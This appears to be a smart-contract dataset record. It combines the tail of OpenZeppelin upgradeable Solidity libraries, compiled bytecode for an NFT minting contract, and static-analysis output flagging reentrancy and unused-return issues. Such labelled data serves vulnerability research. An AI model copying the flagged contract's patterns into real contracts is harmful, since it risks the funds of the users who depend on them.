data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x60806040526004361061020f5760003560e01c806379502c5511610118578063bedcf003116100a0578063e072e16d1161006f578063e072e16d1461069c578063e4963dd5146106bb578063e985e9c5146106db578063f2fde38b146106fb578063fe2c7fee1461071b57600080fd5b8063bedcf003146105f1578063c87b56dd1461063c578063d7b403281461065c578063de6cd0db1461067c57600080fd5b8063a15947c4116100e7578063a15947c4146104fb578063a22cb4651461051b578063a475b5dd1461053b578063a5aa4aa414610550578063b88d4fde146105d157600080fd5b806379502c55146104525780638da5cb5b1461047a57806395d89b4114610498578063978a4509146104ad57600080fd5b80633ccfd60b1161019b57806355f804b31161016a57806355f804b3146103bd5780636352211e146103dd5780636f5ba15a146103fd57806370a082311461041d578063715018a61461043d57600080fd5b80633ccfd60b1461035b57806342842e0e146103705780634a21a2df1461039057806351830227146103a357600080fd5b80630f7309e8116101e25780630f7309e8146102c557806310969523146102da57806318160ddd146102fa57806323b872dd146103215780632cb020e51461034157600080fd5b806301ffc9a71461021457806306fdde0314610249578063081812fc1461026b578063095ea7b3146102a3575b600080fd5b34801561022057600080fd5b5061023461022f366004612bf2565b61073b565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b5061025e61078d565b6040516102409190612eb9565b34801561027757600080fd5b5061028b610286366004612b9b565b61081f565b6040516001600160a01b039091168152602001610240565b3480156102af57600080fd5b506102c36102be366004612b01565b610863565b005b3480156102d157600080fd5b5061025e6108f1565b3480156102e657600080fd5b506102c36102f5366004612c2a565b61097f565b34801561030657600080fd5b5060665460655403600019015b604051908152602001610240565b34801561032d57600080fd5b506102c361033c366004612a14565b6109ec565b34801561034d57600080fd5b5060ce546102349060ff1681565b34801561036757600080fd5b506102c36109f7565b34801561037c57600080fd5b506102c361038b366004612a14565b610bea565b6102c361039e366004612ce5565b610c05565b3480156103af57600080fd5b5060cc546102349060ff1681565b3480156103c957600080fd5b506102c36103d8366004612c2a565b611102565b3480156103e957600080fd5b5061028b6103f8366004612b9b565b611167565b34801561040957600080fd5b506102c3610418366004612b2c565b611179565b34801561042957600080fd5b506103136104383660046129c0565b611240565b34801561044957600080fd5b506102c361128e565b34801561045e57600080fd5b506104676112c4565b6040516102409796959493929190612ecc565b34801561048657600080fd5b506097546001600160a01b031661028b565b3480156104a457600080fd5b5061025e61141f565b3480156104b957600080fd5b506104e36104c83660046129c0565b60cb602052600090815260409020546001600160801b031681565b6040516001600160801b039091168152602001610240565b34801561050757600080fd5b506102c3610516366004612c2a565b61142e565b34801561052757600080fd5b506102c3610536366004612ad0565b6114d6565b34801561054757600080fd5b506102c361156c565b34801561055c57600080fd5b506105a261056b366004612b9b565b60c9602052600090815260409020546001600160801b038116906001600160401b03600160801b8204811691600160c01b90041683565b604080516001600160801b0390941684526001600160401b039283166020850152911690820152606001610240565b3480156105dd57600080fd5b506102c36105ec366004612a54565b6115a5565b3480156105fd57600080fd5b5060cf5461061c906001600160801b0380821691600160801b90041682565b604080516001600160801b03938416815292909116602083015201610240565b34801561064857600080fd5b5061025e610657366004612b9b565b6115f6565b34801561066857600080fd5b506102c3610677366004612c5c565b61168f565b34801561068857600080fd5b506102c3610697366004612c2a565b6117ed565b3480156106a857600080fd5b5060cc5461023490610100900460ff1681565b3480156106c757600080fd5b506102c36106d6366004612bb3565b611896565b3480156106e757600080fd5b506102346106f63660046129dc565b61190e565b34801561070757600080fd5b506102c36107163660046129c0565b61193c565b34801561072757600080fd5b506102c3610736366004612c2a565b6119d7565b60006001600160e01b031982166380ac58cd60e01b148061076c57506001600160e01b03198216635b5e139f60e01b145b8061078757506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606067805461079c9061327c565b80601f01602080910402602001604051908101604052809291908181526020018280546107c89061327c565b80156108155780601f106107ea57610100808354040283529160200191610815565b820191906000526020600020905b8154815290600101906020018083116107f857829003601f168201915b5050505050905090565b600061082a82611a14565b610847576040516333d1c03960e21b815260040160405180910390fd5b506000908152606b60205260409020546001600160a01b031690565b600061086e82611167565b9050806001600160a01b0316836001600160a01b031614156108a35760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b038216148015906108c357506108c1813361190e565b155b156108e1576040516367d9dca160e11b815260040160405180910390fd5b6108ec838383611a4d565b505050565b60cd80546108fe9061327c565b80601f016020809104026020016040519081016040528092919081815260200182805461092a9061327c565b80156109775780601f1061094c57610100808354040283529160200191610977565b820191906000526020600020905b81548152906001019060200180831161095a57829003601f168201915b505050505081565b6097546001600160a01b031633146109b25760405162461bcd60e51b81526004016109a990612f30565b60405180910390fd5b60ce5460ff166109d55760405163249fab5d60e01b815260040160405180910390fd5b80516109e89060cd90602084019061288c565b5050565b6108ec838383611aa9565b6000610a0b6097546001600160a01b031690565b6001600160a01b0316336001600160a01b03161480610a3d5750337386b82972282dd22348374bc63fd21620f7ed847b145b15610ae5576040805180820190915260cf546001600160801b038082168352600160801b9091041660208201526097546001600160a01b0316331415610ab157805160408051808201909152600081526020808401516001600160801b03169101819052600160801b0260cf559150610adf565b6020808201516040805180820190915283516001600160801b03168082526000919093015260cf9190915591505b50610b0f565b5033600090815260cb6020526040902080546001600160801b031981169091556001600160801b03165b6001600160801b038116610b36576040516321cd723f60e21b815260040160405180910390fd5b60405160009033906001600160801b038416908381818185875af1925050503d8060008114610b81576040519150601f19603f3d011682016040523d82523d6000602084013e610b86565b606091505b5050905080610ba8576040516312171d8360e31b815260040160405180910390fd5b6040516001600160801b038316815233907f8bb044d1bb6a7b421504ef7f7045b22152b504f683e8c1bcbc8222af46cb68b39060200160405180910390a25050565b6108ec838383604051806020016040528060008152506115a5565b8435600090815260c96020908152604091829020825160608101845290546001600160801b03811682526001600160401b03600160801b8204811693830193909352600160c01b9004909116918101919091526001600160a01b03841615610d1d576001600160a01b0384167386b82972282dd22348374bc63fd21620f7ed847b1480610c9f57506097546001600160a01b038581169116145b80610cb257506001600160a01b03841633145b15610cd05760405163119833d760e11b815260040160405180910390fd5b610d1d8484848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505060d2546001600160a01b03169150611c979050565b60408101516001600160401b0316610d48576040516375ab03ab60e11b815260040160405180910390fd5b610d528633611d54565b610d6f5760405163d838648f60e01b815260040160405180910390fd5b80602001516001600160401b0316421015610d9d57604051630e91d3a160e11b815260040160405180910390fd5b60d2546040820151600160a01b90910463ffffffff166001600160401b039091161015610e1d5733600090815260ca6020908152604080832089358452909152812054610deb90879061305d565b905081604001516001600160401b0316811115610e1b576040516315fcbc9d60e01b815260040160405180910390fd5b505b60d254600160c01b900463ffffffff16851115610e4d57604051637a7e96df60e01b815260040160405180910390fd5b60d254606554600160a01b90910463ffffffff1690610e6d90879061305d565b1115610e8c57604051638a164f6360e01b815260040160405180910390fd5b8051600090610ea59087906001600160801b03166130de565b905080341015610ec85760405163f244866f60e01b815260040160405180910390fd5b80341115610ee9576040516301b2422760e61b815260040160405180910390fd5b610ef33387611e71565b60d2546040830151600160a01b90910463ffffffff166001600160401b039091161015610f4b5733600090815260ca602090815260408083208a35845290915281208054889290610f4590849061305d565b90915550505b3460006001600160a01b038716156110305760d25461271090610f7b90600160e01b900463ffffffff16846130af565b610f859190613075565b6001600160a01b038816600090815260cb6020526040812080549293508392909190610fbb9084906001600160801b031661303b565b92506101000a8154816001600160801b0302191690836001600160801b03160217905550866001600160a01b03167f5e627b23e8981317689f5541931b5e9805545e7601aa2c86e84217555368dc038260405161102791906001600160801b0391909116815260200190565b60405180910390a25b6040805180820190915260cf546001600160801b038082168352600160801b90910416602082015260d354600090612710906110729063ffffffff16866130af565b61107c9190613075565b905060008161108b85876130fd565b61109591906130fd565b905060405180604001604052808285600001516110b2919061303b565b6001600160801b031681526020018385602001516110d0919061303b565b6001600160801b0390811690915281516020909201518116600160801b0291161760cf55505050505050505050505050565b6097546001600160a01b0316331461112c5760405162461bcd60e51b81526004016109a990612f30565b60cc54610100900460ff166111545760405163249fab5d60e01b815260040160405180910390fd5b80516109e89060d190602084019061288c565b600061117282611e8b565b5192915050565b6097546001600160a01b031633146111a35760405162461bcd60e51b81526004016109a990612f30565b60005b818110156108ec57368383838181106111cf57634e487b7160e01b600052603260045260246000fd5b60a002919091018035600090815260c9602052604090819020919350830191506111f98282613571565b50506040516020820135908235907fe9a0c17645ed78ccc9996259f00297ffc75e6b9d22cd605ccc9992cc8ca3f4c190600090a35080611238816132b7565b9150506111a6565b60006001600160a01b038216611269576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152606a60205260409020546001600160401b031690565b6097546001600160a01b031633146112b85760405162461bcd60e51b81526004016109a990612f30565b6112c26000611fb2565b565b60d0805481906112d39061327c565b80601f01602080910402602001604051908101604052809291908181526020018280546112ff9061327c565b801561134c5780601f106113215761010080835404028352916020019161134c565b820191906000526020600020905b81548152906001019060200180831161132f57829003601f168201915b5050505050908060010180546113619061327c565b80601f016020809104026020016040519081016040528092919081815260200182805461138d9061327c565b80156113da5780601f106113af576101008083540402835291602001916113da565b820191906000526020600020905b8154815290600101906020018083116113bd57829003601f168201915b505050600284015460039094015492936001600160a01b0381169363ffffffff600160a01b830481169450600160c01b830481169350600160e01b9092048216911687565b60606068805461079c9061327c565b6097546001600160a01b031633146114585760405162461bcd60e51b81526004016109a990612f30565b604051663337b932bb32b960c91b602082015260270160405160208183030381529060405280519060200120816040516020016114959190612de0565b60405160208183030381529060405280519060200120146114c957604051635ee88f9760e01b815260040160405180910390fd5b5060ce805460ff19169055565b6001600160a01b0382163314156115005760405163b06307db60e01b815260040160405180910390fd5b336000818152606c602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6097546001600160a01b031633146115965760405162461bcd60e51b81526004016109a990612f30565b60cc805460ff19166001179055565b6115b0848484611aa9565b6001600160a01b0383163b151580156115d257506115d084848484612004565b155b156115f0576040516368d2bf6b60e11b815260040160405180910390fd5b50505050565b606061160182611a14565b61161e57604051630a14c4b560e41b815260040160405180910390fd5b60cc5460ff1661165a5760d0611633836120fc565b604051602001611644929190612dfc565b6040516020818303038152906040529050919050565b60d180546116679061327c565b151590506116845760405180602001604052806000815250610787565b60d1611633836120fc565b60005460ff16156116f95760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016109a9565b600054610100900460ff1615801561171b576000805461ff0019166101001790555b6117258484612215565b61138861173860c0840160a08501612d98565b63ffffffff161180611760575061138861175860e0840160c08501612d98565b63ffffffff16115b8061178157506101f461177960e0840160c08501612d98565b63ffffffff16105b1561179f576040516306b7c75960e31b815260040160405180910390fd5b8160d06117ac828261335a565b9050506117b7612246565b60cc805461ffff191661010017905560ce805460ff1916600117905580156115f0576000805461ffff1916600117905550505050565b6097546001600160a01b031633146118175760405162461bcd60e51b81526004016109a990612f30565b604051663337b932bb32b960c91b602082015260270160405160208183030381529060405280519060200120816040516020016118549190612de0565b604051602081830303815290604052805190602001201461188857604051635ee88f9760e01b815260040160405180910390fd5b5060cc805461ff0019169055565b6097546001600160a01b031633146118c05760405162461bcd60e51b81526004016109a990612f30565b600083815260c96020526040902081906118da8282613571565b5050604051829084907fe9a0c17645ed78ccc9996259f00297ffc75e6b9d22cd605ccc9992cc8ca3f4c190600090a3505050565b6001600160a01b039182166000908152606c6020908152604080832093909416825291909152205460ff1690565b6097546001600160a01b031633146119665760405162461bcd60e51b81526004016109a990612f30565b6001600160a01b0381166119cb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109a9565b6119d481611fb2565b50565b6097546001600160a01b03163314611a015760405162461bcd60e51b81526004016109a990612f30565b80516109e89060d090602084019061288c565b600081600111158015611a28575060655482105b8015610787575050600090815260696020526040902054600160e01b900460ff161590565b6000828152606b602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b6000611ab482611e8b565b9050836001600160a01b031681600001516001600160a01b031614611aeb5760405162a1148160e81b815260040160405180910390fd5b6000336001600160a01b0386161480611b095750611b09853361190e565b80611b24575033611b198461081f565b6001600160a01b0316145b905080611b4457604051632ce44b5f60e11b815260040160405180910390fd5b6001600160a01b038416611b6b57604051633a954ecd60e21b815260040160405180910390fd5b611b7760008487611a4d565b6001600160a01b038581166000908152606a60209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652606990945282852080546001600160e01b031916909417600160a01b42909216919091021783558701808452922080549193909116611c4b576065548214611c4b57805460208601516001600160401b0316600160a01b026001600160e01b03199091166001600160a01b038a16171781555b50505082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b5050505050565b60408051606085901b6bffffffffffffffffffffffff1916602080830191909152825160148184030181526034830184528051908201207f19457468657265756d205369676e6564204d6573736167653a0a333200000000605484015260708084019190915283518084039091018152609090920190925280519101206000611d208285612275565b9050826001600160a01b0316816001600160a01b031614611c9057604051638baa579f60e01b815260040160405180910390fd5b60008235611d6457506001610787565b6040516bffffffffffffffffffffffff19606084901b16602082015260009060340160405160208183030381529060405280519060200120905060005b611dae6020860186612fb0565b9050811015611e65576000611dc66020870187612fb0565b83818110611de457634e487b7160e01b600052603260045260246000fd5b905060200201359050808311611e25576040805160208101859052908101829052606001604051602081830303815290604052805190602001209250611e52565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b5080611e5d816132b7565b915050611da1565b50833514905092915050565b6109e8828260405180602001604052806000815250612299565b60408051606081018252600080825260208201819052918101919091528180600111158015611ebb575060655481105b15611f9957600081815260696020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff16151591810182905290611f975780516001600160a01b031615611f2e579392505050565b5060001901600081815260696020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff1615159281019290925215611f92579392505050565b611f2e565b505b604051636f96cda160e11b815260040160405180910390fd5b609780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a0290612039903390899088908890600401612e7c565b602060405180830381600087803b15801561205357600080fd5b505af1925050508015612083575060408051601f3d908101601f1916820190925261208091810190612c0e565b60015b6120de573d8080156120b1576040519150601f19603f3d011682016040523d82523d6000602084013e6120b6565b606091505b5080516120d6576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490505b949350505050565b6060816121205750506040805180820190915260018152600360fc1b602082015290565b8160005b811561214a5780612134816132b7565b91506121439050600a8361309b565b9150612124565b6000816001600160401b0381111561217257634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561219c576020820181803683370190505b5090505b84156120f4576121b1600183613125565b91506121be600a866132d2565b6121c990603061305d565b60f81b8183815181106121ec57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535061220e600a8661309b565b94506121a0565b600054610100900460ff1661223c5760405162461bcd60e51b81526004016109a990612f65565b6109e882826122a6565b600054610100900460ff1661226d5760405162461bcd60e51b81526004016109a990612f65565b6112c26122fe565b6000806000612284858561232e565b915091506122918161239e565b509392505050565b6108ec838383600161259f565b600054610100900460ff166122cd5760405162461bcd60e51b81526004016109a990612f65565b81516122e090606790602085019061288c565b5080516122f490606890602084019061288c565b5060016065555050565b600054610100900460ff166123255760405162461bcd60e51b81526004016109a990612f65565b6112c233611fb2565b6000808251604114156123655760208301516040840151606085015160001a61235987828585612766565b94509450505050612397565b82516040141561238f5760208301516040840151612384868383612853565b935093505050612397565b506000905060025b9250929050565b60008160048111156123c057634e487b7160e01b600052602160045260246000fd5b14156123c95750565b60018160048111156123eb57634e487b7160e01b600052602160045260246000fd5b14156124395760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e6174757265000000000000000060448201526064016109a9565b600281600481111561245b57634e487b7160e01b600052602160045260246000fd5b14156124a95760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e6774680060448201526064016109a9565b60038160048111156124cb57634e487b7160e01b600052602160045260246000fd5b14156125245760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b60648201526084016109a9565b600481600481111561254657634e487b7160e01b600052602160045260246000fd5b14156119d45760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b60648201526084016109a9565b6065546001600160a01b0385166125c857604051622e076360e81b815260040160405180910390fd5b836125e65760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b0385166000818152606a6020908152604080832080546001600160801b031981166001600160401b038083168c0181169182176801000000000000000067ffffffffffffffff1990941690921783900481168c01811690920217909155858452606990925290912080546001600160e01b031916909217600160a01b42909216919091021790558080850183801561268e57506001600160a01b0387163b15155b15612717575b60405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a46126df6000888480600101955088612004565b6126fc576040516368d2bf6b60e11b815260040160405180910390fd5b8082141561269457826065541461271257600080fd5b61275d565b5b6040516001830192906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a480821415612718575b50606555611c90565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561279d575060009050600361284a565b8460ff16601b141580156127b557508460ff16601c14155b156127c6575060009050600461284a565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561281a573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166128435760006001925092505061284a565b9150600090505b94509492505050565b6000806001600160ff1b0383168161287060ff86901c601b61305d565b905061287e87828885612766565b935093505050935093915050565b8280546128989061327c565b90600052602060002090601f0160209004810192826128ba5760008555612900565b82601f106128d357805160ff1916838001178555612900565b82800160010185558215612900579182015b828111156129005782518255916020019190600101906128e5565b5061290c929150612910565b5090565b5b8082111561290c5760008155600101612911565b60006001600160401b038084111561293f5761293f613312565b604051601f8501601f19908116603f0116810190828211818310171561296757612967613312565b8160405280935085815286868601111561298057600080fd5b858560208301376000602087830101525050509392505050565b600082601f8301126129aa578081fd5b6129b983833560208501612925565b9392505050565b6000602082840312156129d1578081fd5b81356129b9816135eb565b600080604083850312156129ee578081fd5b82356129f9816135eb565b91506020830135612a09816135eb565b809150509250929050565b600080600060608486031215612a28578081fd5b8335612a33816135eb565b92506020840135612a43816135eb565b929592945050506040919091013590565b60008060008060808587031215612a69578081fd5b8435612a74816135eb565b93506020850135612a84816135eb565b92506040850135915060608501356001600160401b03811115612aa5578182fd5b8501601f81018713612ab5578182fd5b612ac487823560208401612925565b91505092959194509250565b60008060408385031215612ae2578182fd5b8235612aed816135eb565b915060208301358015158114612a09578182fd5b60008060408385031215612b13578182fd5b8235612b1e816135eb565b946020939093013593505050565b60008060208385031215612b3e578182fd5b82356001600160401b0380821115612b54578384fd5b818501915085601f830112612b67578384fd5b813581811115612b75578485fd5b86602060a083028501011115612b89578485fd5b60209290920196919550909350505050565b600060208284031215612bac578081fd5b5035919050565b600080600083850360a0811215612bc8578384fd5b84359350602085013592506060603f1982011215612be4578182fd5b506040840190509250925092565b600060208284031215612c03578081fd5b81356129b981613600565b600060208284031215612c1f578081fd5b81516129b981613600565b600060208284031215612c3b578081fd5b81356001600160401b03811115612c50578182fd5b6120f48482850161299a565b600080600060608486031215612c70578081fd5b83356001600160401b0380821115612c86578283fd5b612c928783880161299a565b94506020860135915080821115612ca7578283fd5b612cb38783880161299a565b93506040860135915080821115612cc8578283fd5b50840160e08187031215612cda578182fd5b809150509250925092565b600080600080600060808688031215612cfc578283fd5b85356001600160401b0380821115612d12578485fd5b908701906040828a031215612d25578485fd5b90955060208701359450604087013590612d3e826135eb565b90935060608701359080821115612d53578283fd5b818801915088601f830112612d66578283fd5b813581811115612d74578384fd5b896020828501011115612d85578384fd5b9699959850939650602001949392505050565b600060208284031215612da9578081fd5b81356129b981613616565b60008151808452612dcc816020860160208601613250565b601f01601f19169290920160200192915050565b60008251612df2818460208701613250565b9190910192915050565b6000808454612e0a8161327c565b60018281168015612e225760018114612e3357612e5f565b60ff19841687528287019450612e5f565b8886526020808720875b85811015612e565781548a820152908401908201612e3d565b50505082870194505b505050508351612e73818360208801613250565b01949350505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612eaf90830184612db4565b9695505050505050565b6020815260006129b96020830184612db4565b60e081526000612edf60e083018a612db4565b8281036020840152612ef1818a612db4565b6001600160a01b03989098166040840152505063ffffffff9485166060820152928416608084015290831660a083015290911660c09091015292915050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b6000808335601e19843603018112612fc6578283fd5b8301803591506001600160401b03821115612fdf578283fd5b6020019150600581901b360382131561239757600080fd5b6000808335601e1984360301811261300d578182fd5b8301803591506001600160401b03821115613026578283fd5b60200191503681900382131561239757600080fd5b60006001600160801b03808316818516808303821115612e7357612e736132e6565b60008219821115613070576130706132e6565b500190565b60006001600160801b038084168061308f5761308f6132fc565b92169190910492915050565b6000826130aa576130aa6132fc565b500490565b60006001600160801b03808316818516818304811182151516156130d5576130d56132e6565b02949350505050565b60008160001904831182151516156130f8576130f86132e6565b500290565b60006001600160801b038381169083168181101561311d5761311d6132e6565b039392505050565b600082821015613137576131376132e6565b500390565b5b818110156109e8576000815560010161313d565b6001600160401b0383111561316857613168613312565b613172815461327c565b600080601f8611601f8411818117156131915760008681526020902092505b80156131c057601f880160051c830160208910156131ac5750825b6131be601f870160051c85018261313c565b505b5080600181146131f4576000945087156131db578387013594505b600188901b60001960038a901b1c198616178655613246565b601f198816945082845b8681101561321e57888601358255602095860195600190920191016131fe565b508886101561323b5760001960f88a60031b161c19858901351681555b5060018860011b0186555b5050505050505050565b60005b8381101561326b578181015183820152602001613253565b838111156115f05750506000910152565b600181811c9082168061329057607f821691505b602082108114156132b157634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156132cb576132cb6132e6565b5060010190565b6000826132e1576132e16132fc565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b60008135610787816135eb565b6000813561078781613616565b600081356001600160401b0381168114610787578182fd5b6133648283612ff7565b6001600160401b0381111561337b5761337b613312565b613385835461327c565b600080601f8411601f8411818117156133a45760008881526020902092505b80156133d357601f860160051c830160208710156133bf5750825b6133d1601f870160051c85018261313c565b505b508060018114613407576000945085156133ee578387013594505b600186901b600019600388901b1c198616178855613459565b601f198616945082845b868110156134315788860135825560209586019560019092019101613411565b508686101561344e5760001960f88860031b161c19858901351681555b5060018660011b0188555b5050505050505061346d6020830183612ff7565b61347b818360018601613151565b5050600281016134ad61349060408501613328565b82546001600160a01b0319166001600160a01b0391909116178255565b6134e06134bc60608501613335565b82805463ffffffff60a01b191660a09290921b63ffffffff60a01b16919091179055565b6135136134ef60808501613335565b82805463ffffffff60c01b191660c09290921b63ffffffff60c01b16919091179055565b61354661352260a08501613335565b8280546001600160e01b031660e09290921b6001600160e01b031916919091179055565b506109e861355660c08401613335565b6003830163ffffffff821663ffffffff198254161781555050565b81356001600160801b03811680821461358957600080fd5b82546001600160801b0319811682178455915067ffffffffffffffff60801b6135b460208601613342565b60801b166001600160401b0360c01b818382861617178555806135d960408801613342565b60c01b16838317178555505050505050565b6001600160a01b03811681146119d457600080fd5b6001600160e01b0319811681146119d457600080fd5b63ffffffff811681146119d457600080fdfea2646970667358221220178f2f90700adbad6ac49ef2508a32964b95aa4a1b0dbcfd77689f52d0c6cad764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
